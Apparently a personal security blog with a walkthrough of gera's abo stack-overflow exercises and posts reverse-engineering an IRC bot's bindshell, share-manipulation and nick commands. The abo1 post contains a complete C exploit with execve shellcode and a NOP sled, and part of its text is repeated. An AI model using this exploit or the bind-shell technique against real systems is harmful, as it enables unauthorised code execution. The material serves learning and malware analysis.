I haven't posted in quite some time. However I have been fairly active in these last couple of weeks.
I've kept working at the wargames, and in addition to that, I was given a few private crackmes/exploitmes. Due to their nature I wasn't able to post the solutions.
I can however say that they were quite interesting. First and foremost I only had the binary, which differs somewhat from what I was used to as far as exploitme's go. One of them consisted of a a buffer-overflow enabled by an integer "underflow", which would in turn help bypass a stack canary, with a return into .TEXT (something I had never done before). The second one, was my very first introduction to heap-overflows, and it was awesome :).
Mainly motivated by corelan's post I am now trying to move from exploitme's to "real world" vulnerabilities.
Tuesday, 16 March 2010
Monday, 25 January 2010
baby steps
In the last couple of days, I've started shifting my focus towards exploitation.
Since I didn't know much about the subject I began by reading the classic "Smashing the Stack for Fun and Profit". After reading the article, in order to practice, I've started solving gera's abos.
Following is an explanation of the first two (I know this is outdated, but maybe it can be of interest to somebody).
abo1.c:
This is the code of a vulnerable main function:
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
The purpose here is to exploit main.
In order to achieve this, we can approximate the stack (after the return from
strcpy) to the following
higher address
...
&envp
&argv
argc
ret_addr
ebp
,----.
| 6 |
| 5 |
| 2 |
'----'
...
lower address
Since this is the first example, and since it is for learning purposes, we can
compile our vulnerable code with the following switches
- -fno-stack-protector to disable the generation of code to prevent
buffer-overflows by gcc
- -mpreferred-stack-boundary=2 (we will get to this point later)
Ok, let's take a look at the disassembly
0x080483c4: push ebp 0x080483c5 : mov ebp,esp 0x080483c7 : sub esp,0x10c 0x080483cd : mov eax,DWORD PTR [ebp+0xc] 0x080483d0 : add eax,0x4 0x080483d3 : mov eax,DWORD PTR [eax] 0x080483d5 : mov DWORD PTR [esp+0x4],eax 0x080483d9 : lea eax,[ebp-0x100] 0x080483df : mov DWORD PTR [esp],eax 0x080483e2 : call 0x80482f8 0x080483e7 : leave 0x080483e8 : ret
From what we have learned from Aleph1's "Smashing the Stack for Fun and Profit", we know that we want our buffer with the contents something like:
|NNNNNNN...SSSSS...AAAAAA|
where N stands for NOP instructions, S for our shellcode and A for an address
of any NOP instruction inside the buffer.
The real question here is finding the correct address to return to.
We will run our vulnerable executable with something like:
./vulnerable (in order to overwrite the value
of 'ret_addr' in the stack.
First we can run 'sp' (again from smashing the stack):
$./sp
0xbffff7e4
and now let's try running it with a big argument:
$ ./sp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0xbffff3e4
The output is different, and this can be explained since the arguments to sp
have changed (from nothing to a big string), and this too occupies space on the stack.
Let's take a look at our code:
of 'ret_addr' in the stack.
First we can run 'sp' (again from smashing the stack):
$./sp
0xbffff7e4
and now let's try running it with a big argument:
$ ./sp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0xbffff3e4
The output is different, and this can be explained since the arguments to sp
have changed (from nothing to a big string), and this too occupies space on the stack.
Let's take a look at our code:
#include#include #include #include #define BASE_ADDR 0xbffff7a4 //from the output of sp #define TARGET_SIZE 256 #define PADD 80 char shellcode[] = "\x31\xd2" /* xor %edx, %edx */ "\x52" /* push %edx */ "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp, %ebx */ "\x52" /* push %edx */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x6a\x0b" /* pushl $0xb */ "\x58" /* pop %eax */ "\xcd\x80"; /* int $0x80 */ int main(int argc, char *argv[], char *envp[]){ char *payload; char *payload_p; char *my_argv[3]; unsigned long addr; int i; int bsize = TARGET_SIZE + PADD; unsigned long *addr_p; if (!(payload = malloc(sizeof(char)*bsize))){ printf("failed to allocate memory\n"); exit(0); } addr = BASE_ADDR - TARGET_SIZE // local variable - bsize // argv + 70 // additional adjustments // from inspecting the core ; printf("using %x\n", addr); //fill the payload with desired return address: addr_p = (unsigned long *)payload; for(i = 0; i < bsize; i++){ *(addr_p++) = addr; } //nop sled at the beginning for(i = 0; i < bsize/2; i++) payload[i] = 0x90; //insert the shellcode into the payload payload_p = payload + (bsize/2 - strlen(shellcode)/2); for(i = 0; i < strlen(shellcode); i++) *(payload_p++) = shellcode[i]; //terminate the payload payload[bsize-1] = '\0'; my_argv[0] = "./vulnerable"; my_argv[1] = payload; my_argv[2] = NULL; execve(my_argv[0], my_argv, envp); printf("exploit failed\n"); exit(0); }
As you can see this is pretty much the same as the code in Smashing the Stack. And as you can see we take both the target buffer size, and the size of our argument to the vulnerable program into consideration when calculating the target address. One additional note, the 70 (additional adjustments) were made from examining the core dump (since we had gone a little bit further down the stack then we we're permited). As far as -mpreferred-stack-boundary=2 goes: Let's have a look at the same code compiled without it:
0x080483c4: lea ecx,[esp+0x4] 0x080483c8 : and esp,0xfffffff0 0x080483cb : push DWORD PTR [ecx-0x4] 0x080483ce : push ebp 0x080483cf : mov ebp,esp 0x080483d1 : push ecx 0x080483d2 : sub esp,0x114 0x080483d8 : mov eax,DWORD PTR [ecx+0x4] 0x080483db : add eax,0x4 0x080483de : mov eax,DWORD PTR [eax] 0x080483e0 : mov DWORD PTR [esp+0x4],eax 0x080483e4 : lea eax,[ebp-0x104] 0x080483ea : mov DWORD PTR [esp],eax 0x080483ed : call 0x80482f8 0x080483f2 : add esp,0x114 0x080483f8 : pop ecx 0x080483f9 : pop ebp 0x080483fa : lea esp,[ecx-0x4] 0x080483fd : ret
The prologue and epilogue of main have changed, let's analyze how this can affect our exploit: The prologue: - the address of argc is loaded into ecx - esp is 16-byte aligned ('and esp,0xfffffff0') - the return address is pushed onto the stack - ebp is saved - the address of argc is pushed onto the stack The epilogue: - the address of argc is poped into ecx - the ebp is restored - the address of the first pushed return address is loaded into esp - the function returns In this circumstance the stack would look something like &envp &argv argc ret_addr | at address X -16bytealignment- ret_addr ebp X local vars If we intend to exploit this setup, we would need our buffer to overflow the local variables reserved space, and in the next 4 bytes (where X resides) we would need to insert the address of a position inside our buffer, and in that same position we would need to have the address of a NOP (again, inside our buffer), so that eip would point correctly to our NOP sled. abo2.c: This is the code from abo2:
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
From what we know, in order to exploit this abo, the stack will have to look something like this (after the return from strcpy) &envp &argv argc ret_addr ebp ,----. | 6 | | 5 | | 2 | '----' with ret_addr holding one address inside the 256-byte buffer, so that when main returns, it will return to the buffer. However, if we look at the disassembly:
0x080483f4: push ebp 0x080483f5 : mov ebp,esp 0x080483f7 : sub esp,0x108 0x080483fd : mov eax,DWORD PTR [ebp+0xc] 0x08048400 : add eax,0x4 0x08048403 : mov eax,DWORD PTR [eax] 0x08048405 : mov DWORD PTR [esp+0x4],eax 0x08048409 : lea eax,[ebp-0x100] 0x0804840f : mov DWORD PTR [esp],eax 0x08048412 : call 0x804831c 0x08048417 : mov DWORD PTR [esp],0x1 0x0804841e : call 0x804832c
instead of ending with the usual leave/ret exit is called. Therefore the usual buffer overflow won't work in this particular example. After having solved the first 5 abos, I was shown the overthewire wargames, and I'm currently in level 4 of vortex, and it has been really fun.
Tuesday, 5 January 2010
bot1.exe part11 - bindshell command
When the bindshell command is issued, firstly the usual notifications are created, and sent back to the channel:
15:41 <@unchk> .bd
17:10 < USA|28691> -bindshell- Server started on: 172.16.29.128:1991.
After this, a thread is created, and it's thread handle is stored (this handle is used when the command 'bindshellstop' is issued to call TerminateThread with it as argument).
The thread takes as argument the socket handle responsible for the communication with the irc server, and proceeds with the creation of listener-socket and binds it to local port 1991.
Once the socket is bound, the thread awaits for connections. If a connection is received, a new process (cmd.exe) is created, with the standard input/output/error overriden with the read and write ends of two anonymous pipes according to this:
Standard Input - Read Handle of pipe 1
Standard Output - Write Handle of pipe 2
Standard Error - Dup'ed Write Handle of pipe 2
Afterwards two threads are created:
- The first one is responsible for reading from the handle hReadPipe2 (the read handle from the second pipe) and sending this data down the connected_socket_handle. Since the write handle of pipe2 is acting as the process standard output of the cmd.exe created process, this socket is actually sending back the output of cmd.exe.
- The second thread, is in time, responsible for receiving data from the connected_socket_handle and writing it to the handle hWritePipe1. Since the standard input of the created cmd.exe is the read handle of pipe 1, writing data to hWritePipe1 will result in the contents read from the socket being passed to cmd.exe
Once both threads are created, the original thread calls WaitForSingleObject with dwMilliseconds set to INFINITE on the child process. Once the child process exits, the main thread terminates the created threds, terminates the created process, closes the four pipe handles and finally calls CloseHandle on the child process' process handle, thread handle and jumps back to the accept, to receive new connections.
bot1.exe part10 - secure/unsecure command
The 'secure' (or 'sec') command creates a thread that disables DCOM by setting
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole value to 'N'
from msnd we can see that the possible values are 'N' and 'Y'. A message is then sent to the channel informing the controller that DCOM has been disabled:
<@unchk> .secure
< USA|88366> -secure- DCOM disabled.
In addition to this, at 0041D5EB, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous value is changed from 0 to 1 therefore restricting anonymous users' permissions. More info here
Furthermore, a call to NetShareEnum(0, 502, ...) is made (0041D6CD). With the name of all network shares (returned by this function) in hand, the bot proceeds to calling NetShareDel on each one, thereby removing all network shares from the target.
< USA|88366> -secure- Restricted access to the IPC$ Share.
< USA|88366> -secure- Failed to delete 'IPC$' share.
< USA|88366> -secure- Share 'ADMIN$' deleted.
< USA|88366> -secure- Share 'C$' deleted.
< USA|88366> -secure- Network shares deleted.
The 'unsecure' (or 'unsec') command does exactly the opposite. It enables DCOM, disables restrictanonymous, and sets up network shares. The registry changes, are equivalent to the the aforementioned ones, with the only difference being the arguments to RegSetValue.
In order to enable network shares, the executable starts by trying to add two predefined shares
- IPC
- ADMIN
Afterwards, there is a call to GetLogicalDrives (0041DA40) and the return value is 0200000D, which means that there are logical drives named A, C, D, and Z (this is due to my current setup of the virtual machine).
Logical drive A is ignored, and the next in line (from the least-to-most significant bit in the bitmask returned by GetLogicalDrives) is logical drive C. GetDriveType is called on 'C:\' and if the drive type return is 3 (DRIVE_FIXED from msdn) then, a call to the procedure that does the network share addition (0041C29E) is made, and the next logical drive in line is analyzed according to this criteria.
Since, in my setup D stands for the cd-rom drive, and Z for a network share between the host and the virtualized system, only drive C will have a network share. This is the result of running .unsecure:
<@unchk> .unsecure
< USA|88366> -secure- DCOM enabled.
< USA|88366> -secure- Unrestricted access to the IPC$ Share.
< USA|88366> -secure- Failed to add 'IPC$' share.
< USA|88366> -secure- Share 'ADMIN$' added.
< USA|88366> -secure- Share 'C$' added.
< USA|88366> -secure- Network shares added.
bot1.exe part9 - random nick command
Next in the list of commands, is the 'rndnick' command.
After checking for the '.' marker, the message is compared against 'rndnick' or 'rn'.
If one of the strings match, then the execution jumps to location 40A992:
00403D35 loc_403D35: 00403D35 8B 38 mov edi, [eax] 00403D37 57 push edi 00403D38 68 9C 4F 44 00 push offset aRndnick_1 ; "rndnick" 00403D3D 89 7D 3C mov [ebp+4Ch+var_10], edi 00403D40 E8 6B E5 01 00 call strcmp? 00403D45 85 C0 test eax, eax 00403D47 59 pop ecx 00403D48 59 pop ecx 00403D49 0F 84 43 6C 00 00 jz randomnick_cmd 00403D4F 57 push edi 00403D50 68 A4 4F 44 00 push offset aRn ; "rn" 00403D55 E8 56 E5 01 00 call strcmp? 00403D5A 85 C0 test eax, eax 00403D5C 59 pop ecx 00403D5D 59 pop ecx 00403D5E 0F 84 2E 6C 00 00 jz randomnick_cmd
At location 40A9AF, sub_40AF58 is called with arguments (&out_var, 4, 0, 0) which means that it will run in the same way as previously mentioned, with the only difference that the third argument is set to 0 instead of 1, therefore the call to the function that would check whether mIRC is running or not will not be called. We should expect as a result (since our locale is set to USA) USA|xxxxx.
0040A992 randomnick_cmd: 0040A992 0040A992 FF 74 35 AC push [ebp+esi+4Ch+message_type] 0040A996 33 C0 xor eax, eax 0040A998 38 9D 54 F7 FF FF cmp [ebp+4Ch+var_8F8], bl 0040A99E 0F 95 C0 setnz al 0040A9A1 50 push eax 0040A9A2 FF 35 98 70 45 00 push arg_4_of_sub_40AF58 0040A9A8 8D 85 0C FD FF FF lea eax, [ebp+4Ch+var_340] 0040A9AE 50 push eax 0040A9AF E8 A4 05 00 00 call sub_40AF58 0040A9B4 8D 85 0C FD FF FF lea eax, [ebp+4Ch+var_340] 0040A9BA 50 push eax 0040A9BB 68 A8 4F 44 00 push offset aNickS_7 ; "NICK %s\r\n" 0040A9C0 FF 75 58 push [ebp+4Ch+arg_4] 0040A9C3 E8 1A 6A FF FF call SendMessageToSocket
A message is then sent to the irc server to change our nick to the new string.
This is the result:
20:11 <@unchk> .rn
20:26 -!- USA|55211 is now known as USA|52072
Subscribe to:
Comments (Atom)